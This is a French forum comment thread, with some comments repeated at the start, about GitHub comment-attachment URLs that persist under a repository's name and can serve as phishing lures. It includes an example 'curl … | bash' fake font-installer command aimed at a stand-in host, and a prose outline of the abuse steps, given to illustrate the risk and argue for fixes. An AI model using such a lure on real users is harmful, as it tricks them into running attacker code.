Le problème de ces URL attachées aux commentaires, c'est qu'elles sont tenaces. En effet,
même si vous décidez de ne pas publier le commentaire ou de le supprimer après sa publication, les fichiers ne sont pas supprimés du CDN de GitHub, et les URL de téléchargement continuent de fonctionner indéfiniment. Comme le nom du dépôt est inclus dans l'URL, cette faille permet aux hackers de créer des leurres extrêmement convaincants et dignes de confiance.
Je suis surpris par le mot "faille". Ce n'est pas une faille, c'est un détournement malveillant d'un service légitime. Parler de faille, c'est un peu pompeux?
Comme si je disais "des hackers profitent d'une faille technique de Peugeot pour aller braquer une banque" (oui, ils sont allés en voiture à la banque).
Je suis d'accord et pas d'accord avec toi que le terme est tangent. Ce n'est pas une faille technique, mais ça exploite une faille humaine. Quand on voit comment ça se passe avec le phishing par mail, c'est plutôt astucieux. On nous habitue à vérifier les URLs dans les mails, etc… Et là ça fait des URLs toutes jolies.
Il n'y a pas de mécanisme permettant de différencier qu'un fichier a été déposé par un membre du projet vs une personne random. Une petite icône à côté des fichiers posés par un tiers peut mitiger le problème, par exemple, ou un schéma un peu différent.
Exemple :
Pour installer la police de caractères ScreamingTurtle utilisée par YoupiScanner, faites simplement :
Ceci étant, ce n'est pas forcément critique de perdre des pièces jointes dans un commentaire, mais bon, il doit bien y avoir des cas où ça ne fonctionne pas. Je souhaite bien du courage à GitHub pour ce petit casse-tête !
Posté par Christophe .
Évalué à 6 (+4/-0).
Dernière modification le 23 avril 2024 à 20:46.
Dans un premier temps, il suffit de dire que le fichier disparaît aussi.
Lorsqu'on pointe vers un commit d'un fork et que le fork disparaît, le lien devient invalide: on peut sensiblement mettre ça dans la même catégorie.
Car là on est dans l'extrême inverse: il suffit d'aller sur n'importe quel repo (microsoft, nvidia, torvalds…), faire un commentaire avec un fichier malicieux, effacer le commentaire et le compte, puis utiliser l'URL pour piéger les gens qui pensent à un contenu "officiel". C'est une usine à hammeçonnage…
Edit: en fait il n'y a même pas besoin de vraiment poster le commentaire ! Donc personne n'est notifié, c'est super.
Edit: en fait il n'y a même pas besoin de vraiment poster le commentaire ! Donc personne n'est notifié, c'est super.
La vraie faille est là. Parce que si ça ne fonctionnait que sur les commentaires postés, à la limite les mainteneurs du repo pourraient faire le ménage. Mais vu qu'ils ne sont même pas au courant, il n'y a rien à faire. La solution me paraît assez simple : purger régulièrement (en minutes, pas en heures/jours) tous les fichiers non liés à un commentaire dûment enregistré.
Et comme dit plus haut, peut-être changer l'URL des fichiers attachés aux commentaires pour que ça ne ressemble pas tant à un fichier "normal" du repo. Mais changer des URL c'est pas forcément simple, ça pourrait de casser des trucs qui se baseraient sur le fonctionnement actuel.
Déjà je ne vois pas l'intérêt de pouvoir attacher des fichiers dans des commentaires. Si tu commentes sur github, c'est que tu as un compte github et donc la possibilité d'héberger tes propres repos et snippets et donc d'en envoyer le lien dans le commentaire.
bah, tu ouvres un bug. Genre "l'image jointe fait crasher la libimage quand j'essaye de l'ouvrir".
Ca fait du sens de pouvoir attacher des PJ. Ou alors: "voici le crashlog de 4.5Mo que j'ai mis en PJ plutôt que de le copier/coller en texte brute dans le bugreport".
Et bien évidemment, ça fait du sens de le copier dans le repo dest. Sinon, tu ouvres un bug, tu fermes ton compte, et le dev a un beau rapport de bug avec une pièce jointe qui a disparu…
# Complément
Posté par Xanatos . Évalué à 10 (+11/-0).
TL;DR
…
Bien fourbe.
# faille?
Posté par octane . Évalué à 6 (+6/-2).
Je suis surpris par le mot "faille". Ce n'est pas une faille, c'est un détournement malveillant d'un service légitime. Parler de faille, c'est un peu pompeux?
Comme si je disais "des hackers profitent d'une faille technique de Peugeot pour aller braquer une banque" (oui, ils sont allés en voiture à la banque).
[^] # Re: faille?
Posté par cg . Évalué à 7 (+5/-0).
Je suis d'accord et pas d'accord avec toi que le terme est tangent. Ce n'est pas une faille technique, mais ça exploite une faille humaine. Quand on voit comment ça se passe avec le phishing par mail, c'est plutôt astucieux. On nous habitue à vérifier les URLs dans les mails, etc… Et là ça fait des URLs toutes jolies.
Il n'y a pas de mécanisme permettant de différencier qu'un fichier a été déposé par un membre du projet vs une personne random. Une petite icône à côté des fichiers posés par un tiers peut mitiger le problème, par exemple, ou un schéma un peu différent.
Exemple :
Pour installer la police de caractères ScreamingTurtle utilisée par YoupiScanner, faites simplement :
curl https://example.com/microsoft/msfonts/files/abc123def456/screamingturtle-font-installer.sh | bash1Si l'URL était comme ceci :
curl https://example.com/microsoft/msfonts/comments-uploads/files/abc123def456/screamingturtle-font-installer.sh | bashpeut-être que dans 2% des cas on ne download pas le fichier.
rien de tel qu'un
curl | bashpour mettre tout le monde d'accord :D ↩[^] # Re: faille?
Posté par Christophe . Évalué à 10 (+11/-0).
Pour moi il est surtout aberrant que le fichier soit associé au projet, et pas à celui qui l'a déposé. Une bonne URL (selon moi) serait:
https://github.com/{nom_utilisateur_faisant_l'upload}/files/{identifiant_du_fichier}/{nom_du_fichier}.
[^] # Re: faille?
Posté par cg . Évalué à 6 (+4/-0).
Oui c'est vrai, ça semble logique.
Ceci dit, si un utilisateur supprime son compte, que devient le fichier ? Le lien doit être banalisé genre "https://github.com/deleted-user-{UUID_de_l_utilisateur_supprimé}/files/{identifiant_du_fichier}/{nom_du_fichier}".
Ceci étant, ce n'est pas forcément critique de perdre des pièces jointes dans un commentaire, mais bon, il doit bien y avoir des cas où ça ne fonctionne pas. Je souhaite bien du courage à GitHub pour ce petit casse-tête !
[^] # Re: faille?
Posté par Christophe . Évalué à 6 (+4/-0). Dernière modification le 23 avril 2024 à 20:46.
Dans un premier temps, il suffit de dire que le fichier disparaît aussi.
Lorsqu'on pointe vers un commit d'un fork et que le fork disparaît, le lien devient invalide: on peut sensiblement mettre ça dans la même catégorie.
Car là on est dans l'extrême inverse: il suffit d'aller sur n'importe quel repo (microsoft, nvidia, torvalds…), faire un commentaire avec un fichier malicieux, effacer le commentaire et le compte, puis utiliser l'URL pour piéger les gens qui pensent à un contenu "officiel". C'est une usine à hammeçonnage…
Edit: en fait il n'y a même pas besoin de vraiment poster le commentaire ! Donc personne n'est notifié, c'est super.
[^] # Re: faille?
Posté par Faya . Évalué à 6 (+4/-0).
La vraie faille est là. Parce que si ça ne fonctionnait que sur les commentaires postés, à la limite les mainteneurs du repo pourraient faire le ménage. Mais vu qu'ils ne sont même pas au courant, il n'y a rien à faire. La solution me paraît assez simple : purger régulièrement (en minutes, pas en heures/jours) tous les fichiers non liés à un commentaire dûment enregistré.
Et comme dit plus haut, peut-être changer l'URL des fichiers attachés aux commentaires pour que ça ne ressemble pas tant à un fichier "normal" du repo. Mais changer des URL c'est pas forcément simple, ça pourrait de casser des trucs qui se baseraient sur le fonctionnement actuel.
[^] # Re: faille?
Posté par Psychofox (Mastodon) . Évalué à 3 (+0/-0).
Déjà je ne vois pas l'intérêt de pouvoir attacher des fichiers dans des commentaires. Si tu commentes sur github, c'est que tu as un compte github et donc la possibilité d'héberger tes propres repos et snippets et donc d'en envoyer le lien dans le commentaire.
[^] # Re: faille?
Posté par octane . Évalué à 4 (+2/-0).
bah, tu ouvres un bug. Genre "l'image jointe fait crasher la libimage quand j'essaye de l'ouvrir".
Ca fait du sens de pouvoir attacher des PJ. Ou alors: "voici le crashlog de 4.5Mo que j'ai mis en PJ plutôt que de le copier/coller en texte brute dans le bugreport".
Et bien évidemment, ça fait du sens de le copier dans le repo dest. Sinon, tu ouvres un bug, tu fermes ton compte, et le dev a un beau rapport de bug avec une pièce jointe qui a disparu…
# Faille?
Posté par Psychofox (Mastodon) . Évalué à 4 (+3/-2).
Ce n'est pas vraiment ma définition d'une faille.
[^] # Re: Faille?
Posté par Nicolas Boulay (site web personnel) . Évalué à 6 (+3/-0).
C'est typique d'une faille de spécification.
"La première sécurité est la liberté"
Envoyer un commentaire
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.